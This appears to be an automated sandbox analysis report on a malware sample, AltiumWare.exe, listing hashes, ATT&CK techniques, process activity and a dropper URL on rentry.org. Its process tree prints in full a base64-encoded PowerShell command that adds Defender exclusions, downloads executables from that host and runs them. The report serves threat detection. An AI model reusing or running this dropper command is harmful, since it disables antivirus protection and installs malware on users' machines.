ed82db73804000b91578b23399b7a2b3531b1c656c135c69c93301818d27d272

Analysis

max time kernel
67s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
24/05/2023, 07:47

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General

Target

AltiumWare/AltiumWare.exe
Size

74KB
MD5

68bf941caeb51e05927d1f1ad077d0a3
SHA1

a47bf9a936106b1b72d0533f7ea37216d1364f4a
SHA256

7c26bdd8f3b2868b4f10650704f4ef46d79a67acc392d536b73eb55cdd416f43
SHA512

b510bedafff3683112694631efaa691594844867ec11ded37d70e538106b899df6c57b44ac68c8e2d64e2060f53ebf0c8b0792e6fbc241c0f085a87ac9408f48
SSDEEP

768:Voo9JvGhCbxbbcaqc4NoacavNt/HcLngIoDSacHl7Enrwy/Gd2dfqAstDpm+a/nz:qo9JOyGsnljs71VQL

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/9mn9p/raw

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4148	powershell.exe
12	4148	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	AltiumWare.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 4148	2452	AltiumWare.exe	78
PID 2452 wrote to memory of 4148	2452	AltiumWare.exe	78

C:\Users\Admin\AppData\Local\Temp\AltiumWare\AltiumWare.exe
"C:\Users\Admin\AppData\Local\Temp\AltiumWare\AltiumWare.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdABlACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcwBkAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeABzAGEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZwBkAHcAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvADkAbQBuADkAcAAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcQBqAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBwAHcAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAegBkAHkAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBjAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAagB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB0AGEAcwAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohhtoayo.o4a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2452-133-0x0000000000BA0000-0x0000000000BB8000-memory.dmp

Filesize
96KB

Download
memory/4148-135-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-136-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-137-0x000002042FB10000-0x000002042FB32000-memory.dmp

Filesize
136KB

Download
memory/4148-147-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-148-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-149-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-150-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-151-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download
memory/4148-152-0x000002042D960000-0x000002042D970000-memory.dmp

Filesize
64KB

Download